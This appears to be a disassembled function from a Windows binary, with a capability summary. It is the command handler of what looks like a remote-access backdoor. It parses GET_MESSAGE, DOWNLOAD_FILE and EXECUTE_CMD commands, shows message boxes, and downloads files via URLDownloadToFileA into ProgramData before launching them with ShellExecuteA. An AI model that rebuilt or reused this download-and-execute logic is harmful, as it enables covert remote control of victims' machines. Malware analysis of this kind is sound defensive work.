Function at 0x140004e40
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5c0]
sub rsp, 0x6c0
mov rax, qword [0x140058028]
xor rax, rsp
mov qword [rbp + 0x5b0], rax
mov rbx, rcx
xor r14d, r14d
mov dword [rbp - 0x78], r14d
mov rdx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140004e8f
mov rdx, qword [rcx]
mov r8, qword [rcx + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b9a0
lea rdx, [0x1400091a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rbx + 0x10]
mov rcx, rbx
mov rsi, qword [rbx + 0x18]
cmp rsi, 0x10
jb 0x140004ec3
mov rcx, qword [rbx]
cmp rdi, 0xb
jne 0x1400052f1
mov r8, rdi
lea rdx, str.GET_MESSAGE
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400052f1
lea rdi, [rbx + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
lea r8d, [rax + 7]
lea rdx, str.command
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x70]
call fcn.140009a80
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov r8d, 5
lea rdx, str.title
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.14000a860
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
movdqa xmm1, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x1d0], xmm1
mov byte [rbp + 0x1c0], 0
mov dword [rbp - 0x78], 0x400
cmp byte [rax], 3
jne 0x1400064aa
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x1c0]
cmp rax, rdx
je 0x140004fe4
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140004fd7
mov rdx, qword [rdx]
lea rcx, [rbp + 0x1c0]
call fcn.14000f430
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x70]
call fcn.140009a80
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov r8d, 7
lea rdx, str.message
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.14000a860
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x190], xmm1
mov byte [rbp + 0x180], 0
mov dword [rbp - 0x78], 0x300
cmp byte [rax], 3
jne 0x1400064ef
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x180]
cmp rax, rdx
je 0x1400050e2
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400050d5
mov rdx, qword [rdx]
lea rcx, [rbp + 0x180]
call fcn.14000f430
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x70]
call fcn.140009a80
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
mov r8d, 4
lea rdx, str.type
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.14000a860
mov r9, rax
movzx r8d, byte [rax]
cmp r8d, 9
ja case.0x1400051a6.0
lea rax, [0x140000000]
mov edx, dword [rax + r8*4 + 0x6724]
add rdx, rax
jmp rdx
lea rax, [r9 + 8]
cmp r8b, 6
cmovne rax, r14
mov ecx, dword [rax]
jmp 0x1400051f2
sub r8b, 5
cmp r8b, 1
setbe al
lea rcx, [r9 + 8]
test al, al
cmove rcx, r14
mov ecx, dword [rcx]
jmp 0x1400051f2
lea rax, [r9 + 8]
cmp r8b, 7
cmovne rax, r14
cvttsd2si ecx, qword [rax]
jmp 0x1400051f2
lea rax, [r9 + 8]
cmp r8b, 4
cmovne rax, r14
movzx ecx, byte [rax]
test ecx, ecx
je 0x14000520e
sub ecx, 1
je 0x140005206
cmp ecx, 1
jne 0x14000524b
lea r9d, [rcx + 0xf]
jmp 0x140005214
mov r9d, 0x30
jmp 0x140005214
mov r9d, 0x40
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0x10
cmovae r8, qword [rbp + 0x1c0]
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0x10
cmovae rdx, qword [rbp + 0x180]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x14000528f
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000528a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000528a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
movdqa xmm0, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140006432
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000642d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000642d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
cmp rsi, 0x10
jb 0x1400052fd
mov rcx, qword [rbx]
cmp rdi, 0xd
jne 0x140006060
mov r8, rdi
lea rdx, str.DOWNLOAD_FILE
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006060
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r14
lea r8d, [rdi + 0xf]
lea rdx, str.C:ProgramDataPackage_Cache
lea rcx, [rbp + 0x210]
call fcn.140009a80
nop
lea r13, [rbx + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
lea r8d, [rdi - 6]
lea rdx, str.command
lea rcx, [rsp + 0x68]
call fcn.140009a80
lea rdx, [rsp + 0x68]
mov rcx, r13
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea r8d, [rdi - 3]
lea rdx, str.parameters
lea rcx, [rbp - 0x70]
call fcn.140009a80
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
lea r8d, [rdi - 0xa]
lea rdx, [0x140049ae8]
lea rcx, [rbp - 0x40]
call fcn.140009a80
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.14000a860
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x1b0], xmm1
mov byte [rbp + 0x1a0], 0
mov dword [rbp - 0x78], 0x4000
cmp byte [rax], 3
jne 0x14000657a
mov rdx, qword [rax + 8]
lea rax, [rbp + 0x1a0]
cmp rax, rdx
je 0x140005446
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140005439
mov rdx, qword [rdx]
lea rcx, [rbp + 0x1a0]
call fcn.14000f430
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xc8], r14
mov r8d, 7
lea rdx, str.command
lea rcx, [rbp + 0xb0]
call fcn.140009a80
lea rdx, [rbp + 0xb0]
mov rcx, r13
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], r14
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x10]
call fcn.140009a80
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov r8d, recv
lea rdx, str.shouldExecute
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14000a860
cmp byte [rax], 4
jne 0x1400065c5
movzx r12d, byte [rax + 8]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x140], r14
mov rdi, qword [rbp + 0x220]
lea rbx, [rbp + 0x210]
cmp qword [rbp + 0x228], 0x10
cmovae rbx, qword [rbp + 0x210]
call fcn.1400282a0
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rdi
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp + 0x58]
call fcn.1400035f0
nop
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x200]
call fcn.140004c90
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 8
jb 0x1400055a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000559d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000559d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov rbx, qword [rbp + 0x208]
test rbx, rbx
je 0x1400055c3
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x208]
movaps xmm0, xmmword [rbp + 0x200]
movdqa xmmword [rbp + 0x150], xmm0
test rbx, rbx
je 0x1400055e2
lock inc dword [rbx + 8]
mov rbx, qword [rbp + 0x208]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov rsi, 0xffffffffffffffff
test rbx, rbx
je 0x140005623
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140005623
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140005623
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
nop
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rbp + 0x150]
test rbx, rbx
je 0x14000576e
lea rdx, [rbp + 0x48]
mov rcx, rbx
call fcn.1400046c0
mov rax, qword [rbp + 0x48]
mov edx, dword [rbp + 0x50]
test edx, edx
je 0x140005666
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140006609
cmp eax, 3
jne 0x1400056c0
mov rax, qword [rbp + 0x138]
cmp rax, qword [rbp + 0x140]
je 0x1400056a0
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbx + 0x20]
lea rcx, [rax + 0x20]
call fcn.140003bd0
add qword [rbp + 0x138], 0x40
jmp 0x1400056c0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.14000bd40
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x360]
mov rcx, qword [rbx + 0x40]
call fcn.140028500
cmp eax, 0x12
je 0x140005717
test eax, eax
jne 0x14000661a
cmp word [rbp + 0x38c], 0x2e
jne 0x140005703
movzx eax, word [rbp + 0x38e]
test ax, ax
je 0x1400056c0
cmp ax, 0x2e
jne 0x140005703
cmp word [rbp + 0x390], 0
je 0x1400056c0
lea rdx, [rbp + 0x360]
mov rcx, rbx
call fcn.1400049d0
jmp 0x140005637
mov rbx, r14
mov qword [rbp + 0x150], rbx
mov rdi, qword [rbp + 0x158]
mov qword [rbp + 0x158], r14
test rdi, rdi
je 0x140005637
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140005630
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, esi
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140005630
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
jmp 0x140005630
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x1400057af
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400057af
mov rbx, qword [rbp + 0x158]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400057af
mov rcx, qword [rbp + 0x158]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rbx, qword [rbp + 0x208]
test rbx, rbx
je 0x1400057e4
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400057e4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400057e4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, qword [rbp + 0x138]
sub rbx, qword [rbp + 0x130]
sar rbx, 6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
div rbx
movsxd rdx, edx
shl rdx, 6
add rdx, 0x20
add rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x230]
call fcn.140003bd0
nop
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rdx, qword [rbp + 0x1a0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r14
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140005860
lea rcx, [rbp + 0x28]
call fcn.140009a80
nop
lea rbx, [rbp + 0x28]
mov r14, qword [rbp + 0x28]
mov r15, qword [rbp + 0x40]
cmp r15, 0x10
cmovae rbx, r14
mov rdi, qword [rbp + 0x38]
test rdi, rdi
je 0x140005942
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x260]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x28f], 1
lea rax, [rdi - 1]
mov rcx, rsi
cmp rax, rsi
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x260], 0
jne 0x1400058e5
nop
cmp rcx, rbx
je 0x140005942
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x260], 0
je 0x1400058d0
sub rcx, rbx
cmp rcx, 0xffffffffffffffff
je 0x140005942
lea rax, [rdi - 1]
cmp rcx, rax
jae 0x140005942
inc rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
cmp rdi, rcx
jb 0x140006622
sub rdi, rcx
cmp rdi, 0xffffffffffffffff
cmovb rsi, rdi
lea rdx, [rbp + 0x28]
cmp r15, 0x10
cmovae rdx, r14
add rdx, rcx
mov r8, rsi
lea rcx, [rsp + 0x68]
call fcn.140009a80
mov ebx, 0x3860
jmp 0x14000596c
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
xor r8d, r8d
lea rdx, [0x140049891]
lea rcx, [rsp + 0x68]
call fcn.140009a80
mov ebx, 0x3820
lea rsi, [rbp + 0x230]
cmp qword [rbp + 0x248], 8
cmovae rsi, qword [rbp + 0x230]
mov rdi, qword [rbp + 0x240]
call fcn.1400282a0
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140050ca0]
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x70], 0
or ebx, 0x10
mov dword [rbp - 0x78], ebx
test rdi, rdi
je 0x140005a29
cmp rdi, 0x7fffffff
ja 0x140006628
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.140028310
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14000662e
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp - 0x70]
call fcn.140007120
lea r9, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae r9, qword [rbp - 0x70]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.140028310
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x1400064a0
jmp 0x140005a2c
xor r15d, r15d
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rax, qword [rbp - 0x70]
mov qword [rbp + 0x88], rax
movabs rax, 0xb000000000000000
mov qword [rbp + 0x78], rax
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rax, qword [rsp + 0x68]
mov qword [rbp - 0x50], rax
mov rax, qword [rsp + 0x78]
mov qword [rbp - 0x48], rax
movups xmm0, xmmword [rbp - 0x50]
movups xmmword [rbp + 0x90], xmm0
movabs rax, 0xc000000000000008
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x30], 2
lea rax, [rbp + 0x78]
mov qword [rsp + 0x38], rax
lea rax, str.01
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 7
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rbp - 0x50], xmm0
movaps xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm1
lea r8, [rbp - 0x50]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x160]
call fcn.14000bb60
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005b13
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
movdqa xmm0, xmmword [0x140050ca0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x140005b63
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
movdqa xmm0, xmmword [0x140050ca0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x140005bb4
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005baf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005baf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], recv
mov byte [rbp + 0x28], 0
test r12b, r12b
je 0x140005e51
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r15
mov qword [rbp + 8], r15
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x10]
call fcn.140009a80
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, recv
lea rdx, str.resideInMemory
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14000a860
cmp byte [rax], 4
jne 0x14000663a
movzx edi, byte [rax + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, 7
lea rdx, str.command
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, r13
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r15
mov qword [rbp + 8], r15
mov r8d, 0xa
lea rdx, str.parameters
lea rcx, [rbp - 0x10]
call fcn.140009a80
lea rdx, [rbp - 0x10]
mov rcx, rbx
call fcn.14000a860
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8d, socket
lea rdx, str.removeAfterExecution
lea rcx, [rsp + 0x40]
call fcn.140009a80
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.14000a860
cmp byte [rax], 4
jne 0x14000667e
movzx ebx, byte [rax + 8]
test dil, dil
jne 0x140005e90
lea r8, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rdx, qword [rbp + 0x1a0]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r8, qword [rbp + 0x160]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test bl, bl
je 0x140005e90
mov rdi, qword [rbp + 0x170]
lea rbx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae rbx, qword [rbp + 0x160]
call fcn.1400282a0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.1400035f0
nop
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call fcn.140028934
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400066c2
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x140005e90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
jmp 0x140005e90
lea r8, [rbp + 0x160]
cmp qword [rbp + 0x178], 0x10
cmovae r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 0x10
cmovae rdx, qword [rbp + 0x1a0]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x140005ed4
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ecf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ecf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], socket
mov byte [rbp + 0x160], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 8
jb 0x140005f36
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005f31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
movdqa xmm0, xmmword [0x140050c90]
movdqu xmmword [rbp + 0x240], xmm0
mov word [rbp + 0x230], r15w
mov rcx, qword [rbp + 0x130]
test rcx, rcx
je 0x140005fba
mov rdx, qword [rbp + 0x138]
call fcn.140009b80
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x130]
sub rdx, rcx
and rdx, 0xffffffffffffffc0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r15
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140005ffe
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ff9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ff9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400290f0
movdqa xmm0, xmmword [0x140050ca0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140006432
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000642d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000642d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
cmp rsi, 0x10
jb 0x14000606c
mov rcx, qword [rbx]
cmp rdi, 0xb
jne 0x140006432
mov r8, rdi
lea rdx, str.EXECUTE_CMD
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006432
lea rdi, [rbx + 0x40]
